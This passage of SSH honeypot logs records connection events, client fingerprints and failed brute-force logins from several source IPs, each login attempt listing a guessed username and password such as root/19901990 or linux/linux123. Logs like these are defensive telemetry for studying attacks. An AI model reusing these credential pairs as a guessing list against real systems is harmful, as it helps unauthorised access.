sh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:17.117126Z","src_ip":"45.153.34.195","session":"0d54bce7ddc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19901990","message":"login attempt [root/19901990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:17.422329Z","src_ip":"45.153.34.195","session":"0d54bce7ddc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:18.151417Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:18.506743Z","src_ip":"45.153.34.195","session":"0d54bce7ddc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":41786,"dst_ip":"10.17.0.5","dst_port":22,"session":"99203b2252ad","protocol":"ssh","message":"New connection: 101.36.122.139:41786 (10.17.0.5:22) [session: 99203b2252ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:19.340098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:19.370122Z","src_ip":"101.36.122.139","session":"99203b2252ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:19.586678Z","src_ip":"101.36.122.139","session":"99203b2252ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42376,"dst_ip":"10.17.0.5","dst_port":22,"session":"11a44159072a","protocol":"ssh","message":"New connection: 45.153.34.195:42376 (10.17.0.5:22) [session: 11a44159072a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:20.002649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:20.007316Z","src_ip":"45.153.34.195","session":"11a44159072a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:20.103675Z","src_ip":"45.153.34.195","session":"11a44159072a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"root","message":"login attempt [bot/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:20.350011Z","src_ip":"45.153.34.195","session":"11a44159072a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sistema","password":"sistema","message":"login attempt [sistema/sistema] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:20.484703Z","src_ip":"101.36.122.139","session":"99203b2252ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:21.536906Z","src_ip":"45.153.34.195","session":"11a44159072a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:21.971506Z","src_ip":"101.36.122.139","session":"99203b2252ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59298,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d0e45c9d1c5","protocol":"ssh","message":"New connection: 45.153.34.195:59298 (10.17.0.5:22) [session: 3d0e45c9d1c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:22.723000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:22.729630Z","src_ip":"45.153.34.195","session":"3d0e45c9d1c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:22.824720Z","src_ip":"45.153.34.195","session":"3d0e45c9d1c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:23.412397Z","src_ip":"45.153.34.195","session":"3d0e45c9d1c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:24.495248Z","src_ip":"45.153.34.195","session":"3d0e45c9d1c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59314,"dst_ip":"10.17.0.5","dst_port":22,"session":"884fb0799f43","protocol":"ssh","message":"New connection: 45.153.34.195:59314 (10.17.0.5:22) [session: 884fb0799f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:25.673553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:25.677972Z","src_ip":"45.153.34.195","session":"884fb0799f43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:25.768355Z","src_ip":"45.153.34.195","session":"884fb0799f43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"natasha1","message":"login attempt [root/natasha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:26.152136Z","src_ip":"45.153.34.195","session":"884fb0799f43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:27.235673Z","src_ip":"45.153.34.195","session":"884fb0799f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59320,"dst_ip":"10.17.0.5","dst_port":22,"session":"23ee317e10bc","protocol":"ssh","message":"New connection: 45.153.34.195:59320 (10.17.0.5:22) [session: 23ee317e10bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:28.679192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:28.683356Z","src_ip":"45.153.34.195","session":"23ee317e10bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:28.775489Z","src_ip":"45.153.34.195","session":"23ee317e10bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qwer","password":"qwer","message":"login attempt [qwer/qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:29.034768Z","src_ip":"45.153.34.195","session":"23ee317e10bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43644,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8097baa4ac5","protocol":"ssh","message":"New connection: 91.92.40.36:43644 (159.203.135.109:22) [session: e8097baa4ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:29.120916Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:30.119076Z","src_ip":"45.153.34.195","session":"23ee317e10bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:30.189232Z","src_ip":"91.92.40.36","session":"e8097baa4ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59322,"dst_ip":"10.17.0.5","dst_port":22,"session":"435484076270","protocol":"ssh","message":"New connection: 45.153.34.195:59322 (10.17.0.5:22) [session: 435484076270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:31.603978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:31.609065Z","src_ip":"45.153.34.195","session":"435484076270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:31.717976Z","src_ip":"45.153.34.195","session":"435484076270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root@123","message":"login attempt [user1/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:31.964519Z","src_ip":"45.153.34.195","session":"435484076270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:33.048934Z","src_ip":"45.153.34.195","session":"435484076270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":48722,"dst_ip":"10.17.0.5","dst_port":22,"session":"064cffb68820","protocol":"ssh","message":"New connection: 103.77.242.62:48722 (10.17.0.5:22) [session: 064cffb68820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:33.479430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:33.483407Z","src_ip":"103.77.242.62","session":"064cffb68820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:33.726026Z","src_ip":"103.77.242.62","session":"064cffb68820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10021981","message":"login attempt [root/10021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:34.457036Z","src_ip":"103.77.242.62","session":"064cffb68820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37134,"dst_ip":"10.17.0.5","dst_port":22,"session":"95172fa35565","protocol":"ssh","message":"New connection: 45.153.34.195:37134 (10.17.0.5:22) [session: 95172fa35565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:34.461003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:34.508501Z","src_ip":"45.153.34.195","session":"95172fa35565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 